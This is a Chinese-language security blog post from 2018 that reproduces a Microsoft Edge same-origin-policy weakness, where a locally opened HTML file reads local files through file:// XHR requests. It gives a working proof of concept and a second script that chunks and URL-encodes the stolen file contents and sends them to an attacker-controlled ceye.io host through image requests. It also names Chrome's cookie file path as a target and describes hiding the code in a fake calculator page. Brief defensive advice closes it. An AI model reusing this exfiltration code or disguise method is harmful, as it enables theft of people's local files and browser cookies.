MicrosoftEdge同源策略不嚴導致任意檔案讀取測試

雲勺發表於2018-09-10

edge.png

漏洞介紹

近期看到文章介紹,稱Microsoft Edge對SOP同源策略處理存在問題,可導致任意檔案洩露。
SOP同源策略是比較常見的,簡單來說,在訪問A域名時,如果B域名站點存在JS動作通過XHR請求了A域名網站下資源,該動作會被同源策略拒絕,因為它們非同源。
同源的判定標準是一個三元組,任意一個不同則判定不同源:協議、主機名、埠號

在瀏覽器中,可以使用file://協議來讀取檔案,攻擊者如果想要讀取到訪問者的本地檔案,由於http和file協議不同,不同源的情況下並不能做到。
但是這個限制在特定場景下就不存在了,如果惡意頁面是儲存在本地的檔案,通過瀏覽器開啟html檔案,URL中協議就是file://,此時如果頁面中存在XHR請求file://協議,該請求是符合同源要求的,可能導致本地檔案讀取。

復現測試

0x01 準備工作

嘗試讀取的本地檔案:

txt.png

poc程式碼:

<html>    
<head>     
</head>    
<body>        
<div id="result"></div>
</body>
<script>    
let resultDiv = document.getElementById("result");    
    let xhr= new XMLHttpRequest();       
    xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");    
    xhr.onreadystatechange= ()=> {    
     if(xhr.readyState==4) {    
     resultDiv.innerText = xhr.responseText;    
     }    
    }    
    xhr.send();    
</script>      
</html>
0x02 非Microsoft Edge瀏覽器測試

Chrome瀏覽器:提示同源策略請求只支援http,data,chrome,chrome-extension,https協議
chrome.png

fireforx瀏覽器:提示同源策略進位制讀取,CORS只能是http協議
firefox.png

ie11瀏覽器:提示拒絕訪問
ie.png

0x03 Microsoft Edge瀏覽器測試

看到的文章中測試版本是Microsoft Edge 40.15063.0.0,這裡測試使用的是比它更新的版本:

version.png

測試結果是:沒有觸發錯誤攔截資訊,能夠直接獲取到本地檔案內容:

edge1.png

相關擴充

0x01 任意資料外帶

在測試中是僅僅對一個txt檔案內容進行了讀取,並將內容展示在頁面中。

還可以讀取其他瀏覽器儲存的一些cookie資訊,如:
Chrome的cookie資訊一般在

C:/Users/${user}/AppData/Local/Google/Chrome/User Data/Default/Cookies

cookie.png

攻擊者如果想要通過惡意頁面,將本地的資料帶出,也是輕而易舉的。比如,可以在js中建立img標籤,發起http請求攻擊者的伺服器,並且攜帶讀取到的檔案內容。

如果檔案內容過長,get請求的URL會超長,還能對檔案內容進行分割、間隔多次傳輸;
如果檔案內容不僅是文字文字,或是圖片等,還能通過各種編碼進行包裝傳輸(如encodeURI):

let resultDiv = document.getElementById("result");
    let data = "";    
    let xhr= new XMLHttpRequest();    
    let limit = 1024
    xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");    
    xhr.onreadystatechange= function () {    
        if(xhr.readyState==4) {    
            resultDiv.innerText = xhr.responseText;
            url =  "http://XXXXX.ceye.io/data/?data=";   
            // data = window.btoa(xhr.responseText);  
            data = encodeURI(xhr.responseText);  
            console.log(data.length)
            let st=setInterval(function(){
                img = document.createElement("img");
                if (data.length <= limit) {
                    if (data.length == 0) {
                        clearInterval(st)
                    }else {
                        img.src = url + data;
                        resultDiv.appendChild(img);
                        clearInterval(st)
                        console.log("A:"+data.length)
                    }
                } else {
                    temp = data.substr(0, limit);
                    data = data.substr(limit,data.length-1);
                    img.src = url + temp;
                    resultDiv.appendChild(img);
                    console.log("B:"+temp.length)
                } 
            },1000)
        }    
    }    
    xhr.send();

image.png

攻擊者接收的資料段之一:

image1.png

0x02 隱藏偽裝

造成任意檔案內容洩露的JS程式碼本體並不大,可以隱藏在其他正常的下載頁面中,在使用者疏於防範的情況下隱蔽地執行;
結合社會工程等手段,可以更輕易地進行攻擊利用。
例如,當下載一個用於學習html的網頁,作者建議使用Microsoft Edge進行開啟,你很可能會聽從作者建議就執行檢視效果

dir.png

calc.png

當頁面功能顯示正常,是一個計算器的網頁,警惕心就沒有了。
當你可能還沉浸在玩耍它的計算功能和學習原始碼的過程中時,攻擊者想要的你本地檔案內容可能已經被偷偷傳走了

res.png

防護建議

1、不要隨意開啟不能確定是否存在危害的檔案,包括html檔案(先看一遍原始碼)
2、使用解決了該問題的更新版本的Microsoft Edge
3、使用Chrome或者Firefox等瀏覽器


相關文章